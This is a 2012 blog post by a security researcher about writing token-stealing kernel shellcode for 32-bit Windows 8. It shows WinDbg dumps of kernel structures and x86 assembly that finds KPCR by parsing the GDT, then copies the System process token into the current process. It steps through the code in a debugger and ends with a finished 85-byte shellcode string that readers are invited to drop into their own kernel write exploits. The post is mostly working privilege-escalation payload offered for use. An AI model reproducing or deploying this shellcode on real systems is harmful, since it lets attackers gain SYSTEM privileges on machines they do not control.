Friday, November 16, 2012

Design and Implementation of Token Stealing Kernel Shellcode for Windows 8

Design and Implementation of Token Stealing Kernel Shellcode for Windows 8

by cawan (cawan[at]ieee.org or chuiyewleong[at]hotmail.com)

on 15/11/2012

The kernel shellcode to perform token stealing is really simple in Windows XP. It is
about to retrieve the KPCR base directly from 0xffdff000, getting current thread,
then the current process. After that, walk through the link list of eprocess object
to find out the process with pid as 4, which is the system process, then duplicate
its token, and finally overwrite the token of current process. However, in Windows 8,
the KPCR has been ASLRed. In other words, it is no longer at 0xffdff000. But, it is
still possible to get the location of KPCR in Windows 8 by using offset comparison
technique. Besides, GDT parsing is another interesting approach in doing the same
job. The mechanism of both techniques are detailed in my previous paper in this blog,
"How to Defeat Windows 8 ASLR in Getting the Address of KPCR". In this paper, we are
going to develop a kernel shellcode to perform token stealing in Windows 8 by using
GDT parsing technique. In order to ease the process of kernel shellcode development,
we are going to use our proposed kernel shellcode design and testing platform. For
those who interested to this platform can refer to my previous paper in this blog,
"How To Build A Kernel Shellcode Design and Testing Platform For Windows 8 By Using
Windbg". In addition, this paper is only about the kernel shellcode, without any
specific exploit. So, it is up to you in adopting the kernel shellcode in your writeX
kernel exploit. Besides, for your info, it is almost impossible to locate your kernel
shellcode at virtual address 0 in Windows 8 environment. However, it is possible to
be bypassed by locating the kernel shellcode in HvlpLogicalProcessorRegions with
multiple of writeX operation. Again, the HvlpLogicalProcessorRegions is ASLRed, but it
is simple to get rid with offset comparison technique from user mode. Please refer my
previous 2 papers if you really want to know more about bypassing ASLR in Windows 8
and the internal of HvlpLogicalProcessorRegions. Now, let us start to development our
kernel shellcode.

kd> dt _kpcr
nt!_KPCR
   +0x000 NtTib            : _NT_TIB
   +0x000 Used_ExceptionList : Ptr32 _EXCEPTION_REGISTRATION_RECORD
   +0x004 Used_StackBase   : Ptr32 Void
   +0x008 Spare2           : Ptr32 Void
   +0x00c TssCopy          : Ptr32 Void
   +0x010 ContextSwitches  : Uint4B
   +0x014 SetMemberCopy    : Uint4B
   +0x018 Used_Self        : Ptr32 Void
   +0x01c SelfPcr          : Ptr32 _KPCR
   +0x020 Prcb             : Ptr32 _KPRCB
   +0x024 Irql             : UChar
   +0x028 IRR              : Uint4B
   +0x02c IrrActive        : Uint4B
   +0x030 IDR              : Uint4B
   +0x034 KdVersionBlock   : Ptr32 Void
   +0x038 IDT              : Ptr32 _KIDTENTRY
   +0x03c GDT              : Ptr32 _KGDTENTRY
   +0x040 TSS              : Ptr32 _KTSS
   +0x044 MajorVersion     : Uint2B
   +0x046 MinorVersion     : Uint2B
   +0x048 SetMember        : Uint4B
   +0x04c StallScaleFactor : Uint4B
   +0x050 SpareUnused      : UChar
   +0x051 Number           : UChar
   +0x052 Spare0           : UChar
   +0x053 SecondLevelCacheAssociativity : UChar
   +0x054 VdmAlert         : Uint4B
   +0x058 KernelReserved   : [14] Uint4B
   +0x090 SecondLevelCacheSize : Uint4B
   +0x094 HalReserved      : [16] Uint4B
   +0x0d4 InterruptMode    : Uint4B
   +0x0d8 Spare1           : UChar
   +0x0dc KernelReserved2  : [17] Uint4B
   +0x120 PrcbData         : _KPRCB

Well, the current thread is in _KPRCB.

kd> dt _kprcb
nt!_KPRCB
   +0x000 MinorVersion     : Uint2B
   +0x002 MajorVersion     : Uint2B
   +0x004 CurrentThread    : Ptr32 _KTHREAD
   +0x008 NextThread       : Ptr32 _KTHREAD
   +0x00c IdleThread       : Ptr32 _KTHREAD
   +0x010 LegacyNumber     : UChar
   +0x011 NestingLevel     : UChar
   +0x012 BuildType        : Uint2B
   +0x014 CpuType          : Char
   +0x015 CpuID            : Char
   +0x016 CpuStep          : Uint2B
   +0x016 CpuStepping      : UChar
   +0x017 CpuModel         : UChar
   +0x018 ProcessorState   : _KPROCESSOR_STATE
...
...

Good, the CurrentThread is at offset 0x124 from KPCR. Let's check _KTHREAD now.

kd> dt _kthread
nt!_KTHREAD
   +0x000 Header           : _DISPATCHER_HEADER
   +0x010 SListFaultAddress : Ptr32 Void
   +0x018 QuantumTarget    : Uint8B
   +0x020 InitialStack     : Ptr32 Void
   +0x024 StackLimit       : Ptr32 Void
   +0x028 StackBase        : Ptr32 Void
   +0x02c ThreadLock       : Uint4B
   +0x030 CycleTime        : Uint8B
   +0x038 HighCycleTime    : Uint4B
   +0x03c ServiceTable     : Ptr32 Void
   +0x040 CurrentRunTime   : Uint4B
   +0x044 ExpectedRunTime  : Uint4B
   +0x048 KernelStack      : Ptr32 Void
   +0x04c StateSaveArea    : Ptr32 _XSAVE_FORMAT
   +0x050 SchedulingGroup  : Ptr32 _KSCHEDULING_GROUP
   +0x054 WaitRegister     : _KWAIT_STATUS_REGISTER
   +0x055 Running          : UChar
   +0x056 Alerted          : [2] UChar
   +0x058 KernelStackResident : Pos 0, 1 Bit
   +0x058 ReadyTransition  : Pos 1, 1 Bit
   +0x058 ProcessReadyQueue : Pos 2, 1 Bit
   +0x058 WaitNext         : Pos 3, 1 Bit
   +0x058 SystemAffinityActive : Pos 4, 1 Bit
   +0x058 Alertable        : Pos 5, 1 Bit
   +0x058 CodePatchInProgress : Pos 6, 1 Bit
   +0x058 UserStackWalkActive : Pos 7, 1 Bit
   +0x058 ApcInterruptRequest : Pos 8, 1 Bit
   +0x058 QuantumEndMigrate : Pos 9, 1 Bit
   +0x058 UmsDirectedSwitchEnable : Pos 10, 1 Bit
   +0x058 TimerActive      : Pos 11, 1 Bit
   +0x058 SystemThread     : Pos 12, 1 Bit
   +0x058 ProcessDetachActive : Pos 13, 1 Bit
   +0x058 CalloutActive    : Pos 14, 1 Bit
   +0x058 ScbReadyQueue    : Pos 15, 1 Bit
   +0x058 ApcQueueable     : Pos 16, 1 Bit
   +0x058 ReservedStackInUse : Pos 17, 1 Bit
   +0x058 UmsPerformingSyscall : Pos 18, 1 Bit
   +0x058 Reserved         : Pos 19, 13 Bits
   +0x058 MiscFlags        : Int4B
   +0x05c AutoAlignment    : Pos 0, 1 Bit
   +0x05c DisableBoost     : Pos 1, 1 Bit
   +0x05c UserAffinitySet  : Pos 2, 1 Bit
   +0x05c AlertedByThreadId : Pos 3, 1 Bit
   +0x05c QuantumDonation  : Pos 4, 1 Bit
   +0x05c EnableStackSwap  : Pos 5, 1 Bit
   +0x05c GuiThread        : Pos 6, 1 Bit
   +0x05c DisableQuantum   : Pos 7, 1 Bit
   +0x05c ChargeOnlyGroup  : Pos 8, 1 Bit
   +0x05c DeferPreemption  : Pos 9, 1 Bit
   +0x05c QueueDeferPreemption : Pos 10, 1 Bit
   +0x05c ForceDeferSchedule : Pos 11, 1 Bit
   +0x05c ExplicitIdealProcessor : Pos 12, 1 Bit
   +0x05c FreezeCount      : Pos 13, 1 Bit
   +0x05c EtwStackTraceApcInserted : Pos 14, 8 Bits
   +0x05c ReservedFlags    : Pos 22, 10 Bits
   +0x05c ThreadFlags      : Int4B
   +0x060 Spare0           : Uint4B
   +0x064 SystemCallNumber : Uint4B
   +0x068 FirstArgument    : Ptr32 Void
   +0x06c TrapFrame        : Ptr32 _KTRAP_FRAME
   +0x070 ApcState         : _KAPC_STATE
   +0x070 ApcStateFill     : [23] UChar
   +0x087 Priority         : Char
   +0x088 UserIdealProcessor : Uint4B
   +0x08c ContextSwitches  : Uint4B
...
... 

Well, the ApcState is at offset 0x70 from CurrentThread. Let's check _KAPC_STATE

kd> dt _kapc_state
nt!_KAPC_STATE
   +0x000 ApcListHead      : [2] _LIST_ENTRY
   +0x010 Process          : Ptr32 _KPROCESS
   +0x014 KernelApcInProgress : UChar
   +0x015 KernelApcPending : UChar
   +0x016 UserApcPending   : UChar

Nice, then the current process is at offset 0x80 from CurrectThread. Let's check
_KProcess.

kd> dt _kprocess
nt!_KPROCESS
   +0x000 Header           : _DISPATCHER_HEADER
   +0x010 ProfileListHead  : _LIST_ENTRY
   +0x018 DirectoryTableBase : Uint4B
   +0x01c LdtDescriptor    : _KGDTENTRY
   +0x024 Int21Descriptor  : _KIDTENTRY
   +0x02c ThreadListHead   : _LIST_ENTRY
   +0x034 ProcessLock      : Uint4B
   +0x038 Affinity         : _KAFFINITY_EX
   +0x044 ReadyListHead    : _LIST_ENTRY
   +0x04c SwapListEntry    : _SINGLE_LIST_ENTRY
   +0x050 ActiveProcessors : _KAFFINITY_EX
   +0x05c AutoAlignment    : Pos 0, 1 Bit
   +0x05c DisableBoost     : Pos 1, 1 Bit
   +0x05c DisableQuantum   : Pos 2, 1 Bit
   +0x05c AffinitySet      : Pos 3, 1 Bit
   +0x05c DeepFreeze       : Pos 4, 1 Bit
   +0x05c TimerVirtualization : Pos 5, 1 Bit
   +0x05c ActiveGroupsMask : Pos 6, 1 Bit
   +0x05c ReservedFlags    : Pos 7, 25 Bits
   +0x05c ProcessFlags     : Int4B
   +0x060 BasePriority     : Char
   +0x061 QuantumReset     : Char
   +0x062 Visited          : UChar
   +0x063 Flags            : _KEXECUTE_OPTIONS
   +0x064 ThreadSeed       : [1] Uint4B
   +0x068 IdealNode        : [1] Uint2B
   +0x06a IdealGlobalNode  : Uint2B
   +0x06c Spare1           : Uint2B
   +0x06e IopmOffset       : Uint2B
   +0x070 SchedulingGroup  : Ptr32 _KSCHEDULING_GROUP
   +0x074 StackCount       : _KSTACK_COUNT
   +0x078 ProcessListEntry : _LIST_ENTRY
   +0x080 CycleTime        : Uint8B
   +0x088 ContextSwitches  : Uint8B
   +0x090 FreezeCount      : Uint4B
   +0x094 KernelTime       : Uint4B
   +0x098 UserTime         : Uint4B
   +0x09c VdmTrapcHandler  : Ptr32 Void

We should check _eprocess because _kprocess is the first structure of _eprocess.

kd> dt _eprocess
nt!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x0a0 ProcessLock      : _EX_PUSH_LOCK
   +0x0a8 CreateTime       : _LARGE_INTEGER
   +0x0b0 RundownProtect   : _EX_RUNDOWN_REF
   +0x0b4 UniqueProcessId  : Ptr32 Void
   +0x0b8 ActiveProcessLinks : _LIST_ENTRY
   +0x0c0 Flags2           : Uint4B
   +0x0c0 JobNotReallyActive : Pos 0, 1 Bit
   +0x0c0 AccountingFolded : Pos 1, 1 Bit
   +0x0c0 NewProcessReported : Pos 2, 1 Bit
   +0x0c0 ExitProcessReported : Pos 3, 1 Bit
   +0x0c0 ReportCommitChanges : Pos 4, 1 Bit
   +0x0c0 LastReportMemory : Pos 5, 1 Bit
   +0x0c0 NoWakeCharge     : Pos 6, 1 Bit
   +0x0c0 HandleTableRundown : Pos 7, 1 Bit
   +0x0c0 NeedsHandleRundown : Pos 8, 1 Bit
   +0x0c0 RefTraceEnabled  : Pos 9, 1 Bit
   +0x0c0 NumaAware        : Pos 10, 1 Bit
   +0x0c0 EmptyJobEvaluated : Pos 11, 1 Bit
   +0x0c0 DefaultPagePriority : Pos 12, 3 Bits
   +0x0c0 PrimaryTokenFrozen : Pos 15, 1 Bit
   +0x0c0 ProcessVerifierTarget : Pos 16, 1 Bit
   +0x0c0 StackRandomizationDisabled : Pos 17, 1 Bit
   +0x0c0 AffinityPermanent : Pos 18, 1 Bit
   +0x0c0 AffinityUpdateEnable : Pos 19, 1 Bit
   +0x0c0 PropagateNode    : Pos 20, 1 Bit
   +0x0c0 ExplicitAffinity : Pos 21, 1 Bit
   +0x0c0 ProcessExecutionState : Pos 22, 2 Bits
   +0x0c0 DisallowStrippedImages : Pos 24, 1 Bit
   +0x0c0 HighEntropyASLREnabled : Pos 25, 1 Bit
   +0x0c0 ExtensionPointDisable : Pos 26, 1 Bit
   +0x0c0 ForceRelocateImages : Pos 27, 1 Bit
   +0x0c0 ProcessStateChangeRequest : Pos 28, 2 Bits
   +0x0c0 ProcessStateChangeInProgress : Pos 30, 1 Bit
   +0x0c0 DisallowWin32kSystemCalls : Pos 31, 1 Bit
   +0x0c4 Flags            : Uint4B
   +0x0c4 CreateReported   : Pos 0, 1 Bit
   +0x0c4 NoDebugInherit   : Pos 1, 1 Bit
   +0x0c4 ProcessExiting   : Pos 2, 1 Bit
   +0x0c4 ProcessDelete    : Pos 3, 1 Bit
   +0x0c4 Wow64SplitPages  : Pos 4, 1 Bit
   +0x0c4 VmDeleted        : Pos 5, 1 Bit
   +0x0c4 OutswapEnabled   : Pos 6, 1 Bit
   +0x0c4 Outswapped       : Pos 7, 1 Bit
   +0x0c4 ForkFailed       : Pos 8, 1 Bit
   +0x0c4 Wow64VaSpace4Gb  : Pos 9, 1 Bit
   +0x0c4 AddressSpaceInitialized : Pos 10, 2 Bits
   +0x0c4 SetTimerResolution : Pos 12, 1 Bit
   +0x0c4 BreakOnTermination : Pos 13, 1 Bit
   +0x0c4 DeprioritizeViews : Pos 14, 1 Bit
   +0x0c4 WriteWatch       : Pos 15, 1 Bit
   +0x0c4 ProcessInSession : Pos 16, 1 Bit
   +0x0c4 OverrideAddressSpace : Pos 17, 1 Bit
   +0x0c4 HasAddressSpace  : Pos 18, 1 Bit
   +0x0c4 LaunchPrefetched : Pos 19, 1 Bit
   +0x0c4 Background       : Pos 20, 1 Bit
   +0x0c4 VmTopDown        : Pos 21, 1 Bit
   +0x0c4 ImageNotifyDone  : Pos 22, 1 Bit
   +0x0c4 PdeUpdateNeeded  : Pos 23, 1 Bit
   +0x0c4 VdmAllowed       : Pos 24, 1 Bit
   +0x0c4 CrossSessionCreate : Pos 25, 1 Bit
   +0x0c4 ProcessInserted  : Pos 26, 1 Bit
   +0x0c4 DefaultIoPriority : Pos 27, 3 Bits
   +0x0c4 ProcessSelfDelete : Pos 30, 1 Bit
   +0x0c4 SetTimerResolutionLink : Pos 31, 1 Bit
   +0x0c8 ProcessQuotaUsage : [2] Uint4B
   +0x0d0 ProcessQuotaPeak : [2] Uint4B
   +0x0d8 PeakVirtualSize  : Uint4B
   +0x0dc VirtualSize      : Uint4B
   +0x0e0 SessionProcessLinks : _LIST_ENTRY
   +0x0e8 ExceptionPortData : Ptr32 Void
   +0x0e8 ExceptionPortValue : Uint4B
   +0x0e8 ExceptionPortState : Pos 0, 3 Bits
   +0x0ec Token            : _EX_FAST_REF
   +0x0f0 WorkingSetPage   : Uint4B
   +0x0f4 AddressCreationLock : _EX_PUSH_LOCK
...
...

Fine, the ActiveProcessLinks is at offset 0xb8 from current process object. Besides,
it is important to note that UniqueProcessId and Token is at offset 0xb4 and 0xec,
respectively. Let's start to create our shellcode now.

mov eax,0xffdff124 //Just a dummy marker for KPCR, will correct later..
mov eax,[eax]      //The offset 0x124 is CurrentThread
mov eax,[eax+0x80] //The offset 0x80 is current Process
mov ebx,eax        //Store current Process in eax
searchpid:
mov ebx,[ebx+0xb8] //The offset 0xb8 is ActiveProcessLinks
sub ebx,0xb8
mov ecx,[ebx+0xb4] //The offset 0xb4 is UniqueProcessId
cmp ecx,4          //The pid of System process is 4
jnz searchpid
mov ecx,[ebx+0xec] //The offset 0xec is Token
mov [eax+0xec],ecx //Overwrite the Token in current Process
nop
nop
ret

Well, regarding how to parse GDT in getting KPCR, refer my previous paper.

sgdt fword ptr ds:[0FFDF0000h]
mov  eax,dword ptr ds:[FFDF0002h]
mov  dh,byte ptr [eax+37h]
mov  dl,byte ptr [eax+34h]
mov  bx,dx
shl  ebx,10h
mov  bh,byte ptr [eax+33h]
mov  bl,byte ptr [eax+32h]

The KPCR base will be in ebx now. Let's put everything together.

sgdt fword ptr ds:[0FFDF0000h]
mov  eax,dword ptr ds:[FFDF0002h]
mov  dh,byte ptr [eax+37h]
mov  dl,byte ptr [eax+34h]
mov  bx,dx
shl  ebx,10h
mov  bh,byte ptr [eax+33h]
mov  bl,byte ptr [eax+32h]
mov  eax,ebx
add  eax,0x124
mov  eax,[eax]     
mov  eax,[eax+0x80] 
mov  ebx,eax       
searchpid:
mov  ebx,[ebx+0xb8]
sub  ebx,0xb8
mov  ecx,[ebx+0xb4]
cmp  ecx,4         
jnz  searchpid
mov  ecx,[ebx+0xec]
mov  [eax+0xec],ecx
nop
nop
ret

Let's verify in our testing platform.

kd> a nt!hvlplogicalprocessorregions
811fb480 nop
nop
811fb481 nop
nop
811fb482 pushad
pushad
811fb483 nop
nop
811fb484 nop
nop
811fb485 sgdt [ffdf0000]
sgdt [ffdf0000]
811fb48c mov eax,[ffdf0002]
mov eax,[ffdf0002]
811fb491 mov dh,[eax+37]
mov dh,[eax+37]
811fb494 mov dl,[eax+34]
mov dl,[eax+34]
811fb497 mov bx,dx
mov bx,dx
811fb49a shl ebx,10
shl ebx,10
811fb49d mov bh,[eax+33]
mov bh,[eax+33]
811fb4a0 mov bl,[eax+32]
mov bl,[eax+32]
811fb4a3 mov eax,ebx
mov eax,ebx
811fb4a5 add eax,0x124
add eax,0x124
811fb4aa mov eax,[eax]
mov eax,[eax]
811fb4ac mov eax,[eax+0x80]
mov eax,[eax+0x80]
811fb4b2 mov ebx,eax
mov ebx,eax
811fb4b4 mov ebx,[ebx+0xb8]
mov ebx,[ebx+0xb8]
811fb4ba sub ebx,0xb8
sub ebx,0xb8
811fb4c0 mov ecx,[ebx+0xb4]
mov ecx,[ebx+0xb4]
811fb4c6 cmp ecx,4
cmp ecx,4
811fb4c9 jnz 811fb4b4
jnz 811fb4b4
811fb4cb mov ecx,[ebx+0xec]
mov ecx,[ebx+0xec]
811fb4d1 mov [eax+0xec],ecx
mov [eax+0xec],ecx
811fb4d7 nop
nop
811fb4d8 nop
nop
811fb4d9 ret
ret
811fb4da nop
nop
811fb4db nop
nop
811fb4dc popad
popad
811fb4dd nop
nop
811fb4de nop
nop
811fb4df

kd> uf nt!hvlplogicalprocessorregions
nt!HvlpLogicalProcessorRegions:
811fb480 90              nop
811fb481 90              nop
811fb482 60              pushad
811fb483 90              nop
811fb484 90              nop
811fb485 0f01050000dfff  sgdt    fword ptr ds:[0FFDF0000h]
811fb48c a10200dfff      mov     eax,dword ptr ds:[FFDF0002h]
811fb491 8a7037          mov     dh,byte ptr [eax+37h]
811fb494 8a5034          mov     dl,byte ptr [eax+34h]
811fb497 668bda          mov     bx,dx
811fb49a c1e310          shl     ebx,10h
811fb49d 8a7833          mov     bh,byte ptr [eax+33h]
811fb4a0 8a5832          mov     bl,byte ptr [eax+32h]
811fb4a3 8bc3            mov     eax,ebx
811fb4a5 0524010000      add     eax,124h
811fb4aa 8b00            mov     eax,dword ptr [eax]
811fb4ac 8b8080000000    mov     eax,dword ptr [eax+80h]
811fb4b2 8bd8            mov     ebx,eax

nt!HvlpLogicalProcessorRegions+0x34:
811fb4b4 8b9bb8000000    mov     ebx,dword ptr [ebx+0B8h]
811fb4ba 81ebb8000000    sub     ebx,0B8h
811fb4c0 8b8bb4000000    mov     ecx,dword ptr [ebx+0B4h]
811fb4c6 83f904          cmp     ecx,4
811fb4c9 75e9            jne     nt!HvlpLogicalProcessorRegions+0x34 (811fb4b4)

nt!HvlpLogicalProcessorRegions+0x4b:
811fb4cb 8b8bec000000    mov     ecx,dword ptr [ebx+0ECh]
811fb4d1 8988ec000000    mov     dword ptr [eax+0ECh],ecx

Let us verify the kernel shellcode by stepping over the HvlpLogicalProcessorRegions.

kd> r eip = nt!hvlplogicalprocessorregions
kd> ln eip
(811fb480)   nt!HvlpLogicalProcessorRegions   |  (81206480)   nt!HvlpNodes
Exact matches:
    nt!HvlpLogicalProcessorRegions =
kd> p
nt!HvlpLogicalProcessorRegions+0x1:
811fb481 90              nop
kd> p
nt!HvlpLogicalProcessorRegions+0x2:
811fb482 60              pushad
kd> p
nt!HvlpLogicalProcessorRegions+0x3:
811fb483 90              nop
kd> p
nt!HvlpLogicalProcessorRegions+0x4:
811fb484 90              nop
kd> p
nt!HvlpLogicalProcessorRegions+0x5:
811fb485 0f01050000dfff  sgdt    fword ptr ds:[0FFDF0000h]
kd> p
nt!HvlpLogicalProcessorRegions+0xc:
811fb48c a10200dfff      mov     eax,dword ptr ds:[FFDF0002h]
kd> p
nt!HvlpLogicalProcessorRegions+0x11:
811fb491 8a7037          mov     dh,byte ptr [eax+37h]
kd> p
nt!HvlpLogicalProcessorRegions+0x14:
811fb494 8a5034          mov     dl,byte ptr [eax+34h]
kd> p
nt!HvlpLogicalProcessorRegions+0x17:
811fb497 668bda          mov     bx,dx
kd> p
nt!HvlpLogicalProcessorRegions+0x1a:
811fb49a c1e310          shl     ebx,10h
kd> p
nt!HvlpLogicalProcessorRegions+0x1d:
811fb49d 8a7833          mov     bh,byte ptr [eax+33h]
kd> p
nt!HvlpLogicalProcessorRegions+0x20:
811fb4a0 8a5832          mov     bl,byte ptr [eax+32h]
kd> p
nt!HvlpLogicalProcessorRegions+0x23:
811fb4a3 8bc3            mov     eax,ebx
kd> p
nt!HvlpLogicalProcessorRegions+0x25:
811fb4a5 0524010000      add     eax,124h
kd> r eax
eax=81209000
kd> dg 30
                                  P Si Gr Pr Lo
Sel    Base     Limit     Type    l ze an es ng Flags
---- -------- -------- ---------- - -- -- -- -- --------
0030 81209000 00004280 Data RW Ac 0 Bg By P  Nl 00000493
kd> p
nt!HvlpLogicalProcessorRegions+0x2a:
811fb4aa 8b00            mov     eax,dword ptr [eax]
kd> r eax
eax=81209124

Nice, eax is pointing to the CurrentThread right now. Let us continue to step over
our shellcode.

kd> p
nt!HvlpLogicalProcessorRegions+0x2c:
811fb4ac 8b8080000000    mov     eax,dword ptr [eax+80h]
kd> r eax
eax=812180c0
kd> p
nt!HvlpLogicalProcessorRegions+0x32:
811fb4b2 8bd8            mov     ebx,eax
kd> r eax
eax=83964cc0

Let's check what is our current process now...

kd> !process 83964cc0 0
PROCESS 83964cc0  SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000
    DirBase: 00185000  ObjectTable: 82403000  HandleCount:
    Image: System

Yes, we are already in System because we force kernel break from Windbg. Let's step
over the shellcode again.

kd> p
nt!HvlpLogicalProcessorRegions+0x34:
811fb4b4 8b9bb8000000    mov     ebx,dword ptr [ebx+0B8h]
kd> p
nt!HvlpLogicalProcessorRegions+0x3a:
811fb4ba 81ebb8000000    sub     ebx,0B8h
kd> p
nt!HvlpLogicalProcessorRegions+0x40:
811fb4c0 8b8bb4000000    mov     ecx,dword ptr [ebx+0B4h]
kd> r ebx
ebx=84a85cc0
kd> !process 84a85cc0 0
PROCESS 84a85cc0  SessionId: none  Cid: 00f4    Peb: 7f05a000  ParentCid: 0004
    DirBase: 3e48e020  ObjectTable: 89c43a00  HandleCount:
    Image: smss.exe

The next process is smss.exe. Well we are starting to walk through the eprocess
link list. Since our current process is System, we need to turn a full round to
get back to System again. Let's see.

kd> u
nt!HvlpLogicalProcessorRegions+0x40:
811fb4c0 8b8bb4000000    mov     ecx,dword ptr [ebx+0B4h]
811fb4c6 83f904          cmp     ecx,4
811fb4c9 75e9            jne     nt!HvlpLogicalProcessorRegions+0x34 (811fb4b4)
811fb4cb 8b8bec000000    mov     ecx,dword ptr [ebx+0ECh]
811fb4d1 8988ec000000    mov     dword ptr [eax+0ECh],ecx
811fb4d7 90              nop
811fb4d8 90              nop
811fb4d9 c3              ret
kd> bp 811fb4cb
kd> bl
 0 e 811fb4cb     0001 (0001) nt!HvlpLogicalProcessorRegions+0x4b

kd> g
Breakpoint 0 hit
nt!HvlpLogicalProcessorRegions+0x4b:
811fb4cb 8b8bec000000    mov     ecx,dword ptr [ebx+0ECh]
kd> r ebx
ebx=83964cc0
kd> !process 83964cc0 0
PROCESS 83964cc0  SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000
    DirBase: 00185000  ObjectTable: 82403000  HandleCount:
    Image: System

Yes, we are backed to the System process again. Let's try to change its own token.

kd> p
nt!HvlpLogicalProcessorRegions+0x51:
811fb4d1 8988ec000000    mov     dword ptr [eax+0ECh],ecx
kd> r ecx
ecx=82401563
kd> dd eax+ec l1
83964dac  82401563
kd> p
nt!HvlpLogicalProcessorRegions+0x57:
811fb4d7 90              nop
kd> dd eax+ec l1
83964dac  82401563

Nothing special here, just doing something dummy... Let's revert everything to
original now. In our case here, the ret instruction should be bypass.

kd> u
nt!HvlpLogicalProcessorRegions+0x57:
811fb4d7 90              nop
811fb4d8 90              nop
811fb4d9 c3              ret
811fb4da 90              nop
811fb4db 90              nop
811fb4dc 61              popad
811fb4dd 90              nop
811fb4de 90              nop
kd> r eip
eip=811fb4d7
kd> r eip = 811fb4da
kd> u eip
nt!HvlpLogicalProcessorRegions+0x5a:
811fb4da 90              nop
811fb4db 90              nop
811fb4dc 61              popad
811fb4dd 90              nop
811fb4de 90              nop
811fb4df 0000            add     byte ptr [eax],al
811fb4e1 0000            add     byte ptr [eax],al
811fb4e3 0000            add     byte ptr [eax],al

Well, we are on the right track now. Let's revert everything to initial state.

kd> p
nt!HvlpLogicalProcessorRegions+0x5b:
811fb4db 90              nop
kd> p
nt!HvlpLogicalProcessorRegions+0x5c:
811fb4dc 61              popad
kd> p
nt!HvlpLogicalProcessorRegions+0x5d:
811fb4dd 90              nop
kd> r eip = 811003a4
kd> r eip
eip=811003a4

The system should run as usual right now. Let's verify.

kd> g
Break instruction exception - code 80000003 (first chance)
*******************************************************************************
*                                                                             *
*   You are seeing this message because you pressed either                    *
*       CTRL+C (if you run kd.exe) or,                                        *
*       CTRL+BREAK (if you run WinDBG),                                       *
*   on your debugger machine's keyboard.                                      *
*                                                                             *
*                   THIS IS NOT A BUG OR A SYSTEM CRASH                       *
*                                                                             *
* If you did not intend to break into the debugger, press the "g" key, then   *
* press the "Enter" key now.  This message might immediately reappear.  If it *
* does, press "g" and "Enter" again.                                          *
*                                                                             *
*******************************************************************************
nt!RtlpBreakWithStatusInstruction:
811003a4 cc              int     3
kd> g

Excellent, the Windows 8 system is running well again. Let's extract our shellcode
now.

kd> db nt!hvlplogicalprocessorregions
811fb480  90 90 60 90 90 0f 01 05-00 00 df ff a1 02 00 df  ..`.............
811fb490  ff 8a 70 37 8a 50 34 66-8b da c1 e3 10 8a 78 33  ..p7.P4f......x3
811fb4a0  8a 58 32 8b c3 05 24 01-00 00 8b 00 8b 80 80 00  .X2...$.........
811fb4b0  00 00 8b d8 8b 9b b8 00-00 00 81 eb b8 00 00 00  ................
811fb4c0  8b 8b b4 00 00 00 83 f9-04 75 e9 8b 8b ec 00 00  .........u......
811fb4d0  00 89 88 ec 00 00 00 90-90 c3 90 90 61 90 90 00  ............a...
811fb4e0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
811fb4f0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

kd> uf nt!hvlplogicalprocessorregions
nt!HvlpLogicalProcessorRegions:
811fb480 90              nop
811fb481 90              nop
811fb482 60              pushad
811fb483 90              nop
811fb484 90              nop
811fb485 0f01050000dfff  sgdt    fword ptr ds:[0FFDF0000h]
811fb48c a10200dfff      mov     eax,dword ptr ds:[FFDF0002h]
811fb491 8a7037          mov     dh,byte ptr [eax+37h]
811fb494 8a5034          mov     dl,byte ptr [eax+34h]
811fb497 668bda          mov     bx,dx
811fb49a c1e310          shl     ebx,10h
811fb49d 8a7833          mov     bh,byte ptr [eax+33h]
811fb4a0 8a5832          mov     bl,byte ptr [eax+32h]
811fb4a3 8bc3            mov     eax,ebx
811fb4a5 0524010000      add     eax,124h
811fb4aa 8b00            mov     eax,dword ptr [eax]
811fb4ac 8b8080000000    mov     eax,dword ptr [eax+80h]
811fb4b2 8bd8            mov     ebx,eax

nt!HvlpLogicalProcessorRegions+0x34:
811fb4b4 8b9bb8000000    mov     ebx,dword ptr [ebx+0B8h]
811fb4ba 81ebb8000000    sub     ebx,0B8h
811fb4c0 8b8bb4000000    mov     ecx,dword ptr [ebx+0B4h]
811fb4c6 83f904          cmp     ecx,4
811fb4c9 75e9            jne     nt!HvlpLogicalProcessorRegions+0x34 (811fb4b4)

nt!HvlpLogicalProcessorRegions+0x4b:
811fb4cb 8b8bec000000    mov     ecx,dword ptr [ebx+0ECh]
811fb4d1 8988ec000000    mov     dword ptr [eax+0ECh],ecx
811fb4d7 90              nop
811fb4d8 90              nop
811fb4d9 c3              ret

So, the proper kernel shellcode to perform token stealing in Windows 8 is 85 bytes.

Token_Stealing_Shellcode_For_Windows_8=(
"\x0f\x01\x05\x00\x00\xdf\xff\xa1\x02\x00\xdf\xff\x8a\x70\x37\x8a"
"\x50\x34\x66\x8b\xda\xc1\xe3\x10\x8a\x78\x33\x8a\x58\x32\x8b\xc3"
"\x05\x24\x01\x00\x00\x8b\x00\x8b\x80\x80\x00\x00\x00\x8b\xd8\x8b"
"\x9b\xb8\x00\x00\x00\x81\xeb\xb8\x00\x00\x00\x8b\x8b\xb4\x00\x00"
"\x00\x83\xf9\x04\x75\xe9\x8b\x8b\xec\x00\x00\x00\x89\x88\xec\x00"
"\x00\x00\x90\x90\xc3"
)

pdf version:


http://www.scribd.com/doc/113582171/Design-and-Implementation-of-Token-Stealing-Kernel-Shellcode-for-Windows-8


4 comments:

  1. 004952BD 64:A1 1C000000 mov eax, dword ptr fs:[1C]
    004952C3 FFB0 24010000 push dword ptr [eax+124]

    ReplyDelete